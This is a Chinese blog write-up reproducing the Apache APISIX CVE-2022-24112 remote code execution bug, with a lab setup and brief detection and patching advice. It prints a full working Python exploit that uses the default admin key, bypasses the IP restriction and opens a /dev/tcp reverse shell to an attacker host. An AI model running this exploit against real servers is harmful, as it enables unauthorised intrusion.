漏洞复现-CVE-2022-24112 APISIX远程代码执行漏洞原理与复现

2023-10-29


漏洞原理

漏洞描述

An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX’s data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.

攻击者可以滥用batch-requests插件发送请求以绕过管理API的IP限制。Apache APISIX的默认配置(具有默认API密钥)易受远程代码执行的攻击。当管理密钥更改或管理API的端口更改为与数据面板不同的端口时,影响较小。但绕过Apache APISIX数据面板的IP限制仍然存在风险。在批处理请求插件中有一个检查,它用实际的远程IP覆盖客户端IP。但是由于代码中的一个错误,可以绕过此检查。

影响范围

Apache APISIX 1.3 ~ 2.12.1 之间的所有版本(不包含 2.12.1 )
Apache APISIX 2.10.0 ~ 2.10.4 LTS 之间的所有版本(不包含 2.10.4)

apisix学习

查看apisix官网介绍可知apisix配置文件在

conf/config.yaml

在这里插入图片描述
查看路由部分可知默认的端口为9080,默认的key为

edd1c9f034335f136f87ad84b625c8f1

在这里插入图片描述
查看漏洞插件部分,可知该插件如何配置和使用
在这里插入图片描述
查看修复方式,发现是转为了小写进行覆盖
在这里插入图片描述

漏洞复现

config.yaml

apisix主要配置如下

apisix:
  node_listen: 9080              # APISIX listening port
  enable_ipv6: false

  allow_admin:                  # http://nginx.org/en/docs/http/ngx_http_access_module.html#allow
    - 0.0.0.0/0              # We need to restrict ip access rules for security. 0.0.0.0/0 is for test.

  admin_key:
    - name: "admin"
      key: edd1c9f034335f136f87ad84b625c8f1
      role: admin                 # admin: manage all configuration data
                                  # viewer: only can view configuration data
    - name: "viewer"
      key: 4054f7cf07e344346cd3f287985e76a2
      role: viewer

  enable_control: true
  control:
    ip: "0.0.0.0"
    port: 9092

batch-requests插件是默认开启的

环境搭建

这里直接使用了twseptian师傅的example,docker-compose.yml如下

version: "3"

services:
  apisix-dashboard:
    image: apache/apisix-dashboard:2.10.1-alpine
    restart: always
    volumes:
    - ./dashboard_conf/conf.yaml:/usr/local/apisix-dashboard/conf/conf.yaml
    ports:
    - "9000:9000"
    networks:
      apisix:

  apisix:
    image: apache/apisix:2.12.0-alpine
    restart: always
    volumes:
      - ./apisix_log:/usr/local/apisix/logs
      - ./apisix_conf/config.yaml:/usr/local/apisix/conf/config.yaml:ro
    depends_on:
      - etcd
    ##network_mode: host
    ports:
      - "9080:9080/tcp"
      - "9091:9091/tcp"
      - "9443:9443/tcp"
      - "9092:9092/tcp"
    networks:
      apisix:

  etcd:
    image: bitnami/etcd:3.4.15
    restart: always
    volumes:
      - etcd_data:/bitnami/etcd
    environment:
      ETCD_ENABLE_V2: "true"
      ALLOW_NONE_AUTHENTICATION: "yes"
      ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379"
      ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379"
    ports:
      - "2379:2379/tcp"
    networks:
      apisix:

  web1:
    image: nginx:1.19.0-alpine
    restart: always
    volumes:
      - ./upstream/web1.conf:/etc/nginx/nginx.conf
    ports:
      - "9081:80/tcp"
    environment:
      - NGINX_PORT=80
    networks:
      apisix:

  web2:
    image: nginx:1.19.0-alpine
    restart: always
    volumes:
      - ./upstream/web2.conf:/etc/nginx/nginx.conf
    ports:
      - "9082:80/tcp"
    environment:
      - NGINX_PORT=80
    networks:
      apisix:

  prometheus:
    image: prom/prometheus:v2.25.0
    restart: always
    volumes:
      - ./prometheus_conf/prometheus.yml:/etc/prometheus/prometheus.yml
    ports:
      - "9090:9090"
    networks:
      apisix:

  grafana:
    image: grafana/grafana:7.3.7
    restart: always
    ports:
      - "3000:3000"
    volumes:
      - "./grafana_conf/provisioning:/etc/grafana/provisioning"
      - "./grafana_conf/dashboards:/var/lib/grafana/dashboards"
      - "./grafana_conf/config/grafana.ini:/etc/grafana/grafana.ini"
    networks:
      apisix:

networks:
  apisix:
    driver: bridge

volumes:
  etcd_data:
    driver: local

可以看到他在9080端口开了apisix,在9000端口开了dashboard,挂载了配置文件和日志
使用docker-compose启动

docker-compose up -d

在这里插入图片描述
启动后访问9000,可以看到dashboard(账号密码都是admin)
在这里插入图片描述

exp代码

这里使用了twseptian师傅的poc2.py,代码如下:

#!/usr/bin/python3
# Exploit Title: Apache APISIX 2.12.1 - Remote Code Execution (RCE)
# Vendor Homepage: https://apisix.apache.org/
# Version: Apache APISIX 1.3 – 2.12.1
# Tested on: Kali Linux
# CVE : CVE-2022-24112

import requests
import sys
import subprocess
import shlex
import argparse

class Interface ():
        def __init__ (self):
                self.red = '\033[91m'
                self.green = '\033[92m'
                self.white = '\033[37m'
                self.yellow = '\033[93m'
                self.bold = '\033[1m'
                self.end = '\033[0m'

        def header(self):
                print('\n    >> Apache APISIX 2.12.1 - Remote Code Execution (RCE)')
                print('    >> by twseptian\n')

        def info (self, message):
                print(f"[{self.white}*{self.end}] {message}")

        def warning (self, message):
                print(f"[{self.yellow}!{self.end}] {message}")

        def error (self, message):
                print(f"[{self.red}x{self.end}] {message}")

        def success (self, message):
                print(f"[{self.green}{self.end}] {self.bold}{message}{self.end}")

# Instantiate our interface class
global output
output = Interface()
output.header()

class Exploit:
    def __init__(self, target_ip, target_port, localhost,localport):
        self.target_ip = target_ip
        self.target_port = target_port
        self.localhost = localhost
        self.localport = localport

    def get_rce(self):
        headers1 = {
            'Host': '{}:8080'.format(target_ip),
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
            'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
            'Accept': '*/*','Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/json',
            'Content-Length': '540','Connection': 'close',
        }
        headers2 = {
            'Host': '{}:8080'.format(target_ip),
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
            'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
            'Accept': '*/*','Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/json',
            'Connection': 'close',
        }
        json_data = {
            'headers': {
                'X-Real-IP': '{}:8080'.format(target_ip),
                'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
                'Content-Type': 'application/json',
            },
            'timeout': 1500,
            'pipeline': [
                {
                    'path': '/apisix/admin/routes/index','method': 'PUT',
                    'body': '{"uri":"/rms/fzxewh","upstream":{"type":"roundrobin","nodes":{"schmidt-schaefer.com":1}},"name":"wthtzv","filter_func":"function(vars) os.execute(\'bash -c \\\\\\"0<&160-;exec 160<>/dev/tcp/'+localhost+'/'+localport+';/bin/sh <&160 >&160 2>&160\\\\\\"\'); return true end"}',
                },
            ],
        }

        output.warning("Take RCE\n")
        response1 = requests.post('http://'+target_ip+':'+target_port+'/apisix/batch-requests', headers=headers1, json=json_data, verify=False)
        listener = "nc -nvlp {}".format(localport)
        cmnd = shlex.split(listener)
        subprocess.Popen(cmnd)
        response2 = requests.get('http://'+target_ip+':'+target_port+'/rms/fzxewh', headers=headers2, verify=False)

def get_args():
    parser = argparse.ArgumentParser(description='Apache APISIX 2.12.1 - Remote Code Execution (RCE)')
    parser.add_argument('-t', '--rhost', dest="target_ip", required=True, action='store', help='Target IP')
    parser.add_argument('-p', '--rport', dest="target_port", required=True, action='store', help='Target Port')
    parser.add_argument('-L', '--lhost', dest="localhost", required=True, action='store', help='Localhost/Local IP')
    parser.add_argument('-P', '--lport', dest="localport", required=True, action='store', help='Localport')
    args = parser.parse_args()
    return args

try:
    args = get_args()
    target_ip = args.target_ip
    target_port = args.target_port
    localhost = args.localhost
    localport = args.localport

    exp = Exploit(target_ip, target_port, localhost, localport)
    exp.get_rce()
except KeyboardInterrupt:
    pass

可以看到设置了X-Real-IP进行绕过,发送了注册路由的请求,和使用batch-requests插件的请求,通过filter_func设置了反弹shell

监听4444端口
在这里插入图片描述
运行poc2.py,添加参数
在这里插入图片描述
监听端收到请求,可以执行命令
在这里插入图片描述

入侵检测与修复

查看dashboard,观察是否有恶意路由
在这里插入图片描述
在这里插入图片描述
查看日志,是否有batch-requests相关请求
在这里插入图片描述
防御最好的方式是更新版本,其次可以限制ip对服务器的访问

总结

由于代码逻辑问题,没有覆盖为真实ip,导致绕过了请求限制,且发送请求有默认的key,通过发送请求注册路由,并使用batch-requests插件执行了命令。

参考

CVE-2022-24112
github-cve-2022-24112
【技术干货】CVE-2022-24112 Apache APISIX 远程代码执行漏洞
Apache-apisix-快速入门指南
Apache-apisix-batch-requests插件
github-apisix漏洞修复

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

漏洞复现-CVE-2022-24112 APISIX远程代码执行漏洞原理与复现 的相关文章

  • Microsemi Libero系列教程(一)——Libero开发环境介绍、下载、安装与注册

    文章目录 前言 Libero 简介 关于Libero IDE和Libero SoC Libero SoC Libero 下载 支持的操作系统 所有版本的安装包下载链接 V11 8安装包下载 V11 8 SP2补丁包下载 Libero 安装
  • java的示例题1

    前言 整理一部分java的示例题型 在线编译 入口 java的System out println与System out print 浩星 CSDN博客前言 java基础知识之System out println System out pr
  • vue配置history路由(Nginx版)

    修改Nginx配置文件 在里面加上这两段 h5为vue项目打包文件名 location h5 try files uri uri router index index html index htm location router rewri
  • css页眉标签,css与页眉,页脚和多栏布局scrled

    我正在尝试创建一个网页布局模板我的目标是页眉 页脚和2列之间 2栏是什么都给我最大的头痛 我想左列为固定宽度 右侧列填充剩余区域 我也成功完成了这一项 但我也希望这两列 垂直填充雨区 当内容填充超过我看每列要分别骂而不使用正常的Brower
  • 龙架构(LoongArch)赋能众享链网,相关产品已完成适配

    立足于中国特色区块链发展现状 以及 低成本 高效率 多兼容 新型网络技术发展需求 近日 龙芯3C5000L与众享链网底层平台 ChainSQL完成了兼容适配 龙芯3C5000L服务器作为超级节点正式加入众享链网并对外提供服务 适配结果表明
  • 【计算机视觉】MoCo 讲解

    有任何的书写错误 排版错误 概念错误等 希望大家包含指正 MoCo 模型概述 MoCo 是何恺明提出的一种通过对比学习的方式无监督地对图像编码器进行预训练的方法 MoCo 包括三个结构 query 编码器 key 编码器和动态字典 训练完成
  • Ubuntu20.4安装gnuradio艰辛之路

    自从毕设选了跟老师做雷达信号 一路坎坷 做信号盲检测需要安装gnuradio 一路艰辛 小白零基础经历耗费了差不多四天 经历了很多次系统奔溃死机 光是Ubuntu系统就重装了不下十次 最后打王者等待的时候 水晶爆了 但是突然弹出来安装好gn
  • Docker 具名和匿名挂载

    匿名挂载 v 容器内路径 docker run d p 9090 80 name nginx01 v etc nginx nginx 查看所有卷 volume 情况 docker volume ls DRIVER VOLUME NAME l
  • 使用Canvas扩展绘制动态ASP.NET Core Blazor气泡图

    目录 介绍 背景 使用代码 步骤1 创建ASP NET Core Blazor服务器应用程序 运行测试应用程序 步骤2 安装软件包 步骤3 创建模型类 创建服务类 步骤4 将服务添加到Startup cs中 步骤5 使用客户端项目 添加Ra
  • npm参数解释

    npm i i代表install 即安装模块选项 npm y y是yes的缩写 即npm后面需要手动配置的选项采用默认配置 npm S 将安装的模块放到dependency下 安装的模块在生产版本也会用到 如element ui等插件 生产

随机推荐

  • hadoop实践(六)eclipse 打包和liunx下运行

    在eclipse环境下开发的代码 可以打包并放入到linux环境的 hadoop 下运行 第一步 打包 前提是已经安装了打包工具 fatjar 首先eclipse右上角 从map reduce 切换到java 点击工程 右键会出现fat j
  • evplayer2可以多设备登录吗_EVPlayer2

    这是一个可以播放任何格式的全功能影音播放器 EVPlayer2适应于iPhone iPod ipad 可以通过iTunes或者WiFi传输文件到播放器内 也可以通过内置的下载客户端直接从Ftp Samba UPnP等服务器中打开影音文件 或
  • 微信小程序新手留言板

    微信小程序入简单留言板 首先在home wxml页面完成简单的布局
  • 从0开始的leetCode:Median of Two Sorted Arrays

    我的解法 很常规的解法 但是明显不符合题目要求的O logmn 的复杂度 public double findMedianSortedArrays int nums1 int nums2 int i 0 j 0 k 0 int length
  • 解决使用Rattle进行数据挖掘时的RGtk2包无法安装问题

    1 首先出现以下问题是由于RGtk2包已经下架 也并不是没有办法安装 2 打开如下官网 Togaware Rattle A Graphical User Interface for Data Mining using R 不同的操作系统选择
  • ubuntu20..04 安装ros noetic版本

    官方安装教程连接 noetic Installation Ubuntu ROS Wiki 一 设置软件源 1 进入 软件和更新 选择 Ubuntu软件 2 如上图所是 勾选前四个选项 下载自 位置选择合适的镜像地址 我选的是阿里云的 二 安
  • 基于C#语言MVC框架Aspose.Cells控件导出Excel表数据

    控件bin文件下载地址 https download csdn net download u012949335 10610726 ViewBag Title xx
  • close_on_exec选项:FD_CLOEXEC(fcntl)、O_CLOEXEC(open) 和 EPOLL_CLOEXEC(epoll_createl)

    close on exec解决的问题类型 我们经常会碰到一个进程需要fork出子进程的情况 而且子进程很可能会继续exec新的程序 这就不得不提到如何妥善处理好子进程中无用文件描述符的问题 fork函数的使用本不是这里讨论的话题 但必须提一
  • 物联网是计算机的应用领域,分析计算机物联网技术在各个领域应用.doc

    分析计算机物联网技术在各个领域应用 分析计算机物联网技术在各个领域应用 摘要 在科学技术快速发展背景下 进一步的提升信息化水平 计算机物联网技术在社会生活各个领域运用广泛 给人们的生产生活带来许多的便利 为此 加强对计算机物联网技术的研究有
  • JAVA面试题总汇(含答案)

    1 面向对象的特征有哪些方面 1 抽象 抽象就是忽略一个主题中与当前目标无关的那些方面 以便更充分地注意与当前目标有关的方面 抽象并不打算了解全部问题 而只是选择其中的一部分 暂时不用部分细节 抽象包括两个方面 一是过程抽象 二是数据抽象
  • JavaScript 字符串连接的工作原理——“+”运算符与“+=”运算符

    字符串连接是我们经常做的一项常见任务 字符串连接是将字符串首尾相连的操作 例如 雪 和 球 串联起来就是 雪球 在本文中 我将展示两种在 JavaScript 中连接字符串的方法 我还将确保澄清您何时应该使用每种方法 使用字符串 在讨论字符
  • 多平台脚本 PowerShell Core

    特点 从对 PowerShell 的不同版本的概述开始 了解 PowerShell Core 6 0 及 VSCode 的介绍 了解 PowerShell 脚本中的基本技术 学习高级编码技术 学习如何编写可重用代码以及使用 PowerShe
  • Josn数据格式

    1 json数据格式 Json的数据格式 BigData CSDN博客 json数据格式 json数据的两种格式及两种json方法 海阔天空 CSDN博客 json数组数据格式 json的几种标准格式 小财迷嘻嘻的博客 CSDN博客 jso
  • IDEA查看scala源代码

    转自 https www cnblogs com mlyflow articles 9718820 html 在查看scala源码时 通常需要下载 gt 然而一般会报 Library sources not found for scala
  • services端口列表(from Nmap)

    This list of services is from the Nmap security scanner http www insecure org nmap For a HUGE list of services including
  • Linux中的STDIN_FILENO和STDOUT_FILENO

    环境 Vmware Workstation CentOS 6 4 x86 64 说明 STDIN FILENO 接收键盘的输入 STDOUT FILENO 向屏幕输出 程序 接收用户在屏幕上输入的数据 并在屏幕上输出 要求使用read和wi
  • java mina 长连接_MINA实现TCP长连接(一)——客户端实现

    前言 之前已经讲过了Netty实现的UDP通讯 大家感兴趣的可以参考以下文章 Netty实现UDP客户端 Netty实现UDP服务端 那么今天给大家介绍一个新的通讯框架 MINA 之所以要介绍mina 是因为它在通讯长连接方面有比较大的优势
  • 用镜像搭建一个新以太坊节点并部署合约(演示)

    我们自己已经搭建好一个镜像 里面包含了以太坊需要的环境 以及这条私链的创世块 现在用这个镜像跑一个容器出来 我们可以快速搭建一个连接到私链的节点 1 docker run it name node6 daocloud io ubuntu n
  • 今日头条阅读量怎么刷_自动刷今日头条阅读量 头条号自己刷阅读量

    什么时间段发头条更容易有很多阅读量和推荐量 谢邀请 首先我不会像其他博主一样粘贴复制蹭浏览量 我讲的都是属于自己的干货 首先要看你属于什么领域 如果你是写情歌 美文这类文章 适合早上8 00点发送 如果你属于时尚 生活 影视 这类文章 适合
  • 漏洞复现-CVE-2022-24112 APISIX远程代码执行漏洞原理与复现

    目录 漏洞原理 漏洞描述 影响范围 apisix学习 漏洞复现 config yaml 环境搭建 exp代码 入侵检测与修复 总结 参考 漏洞原理 漏洞描述 An attacker can abuse the batch requests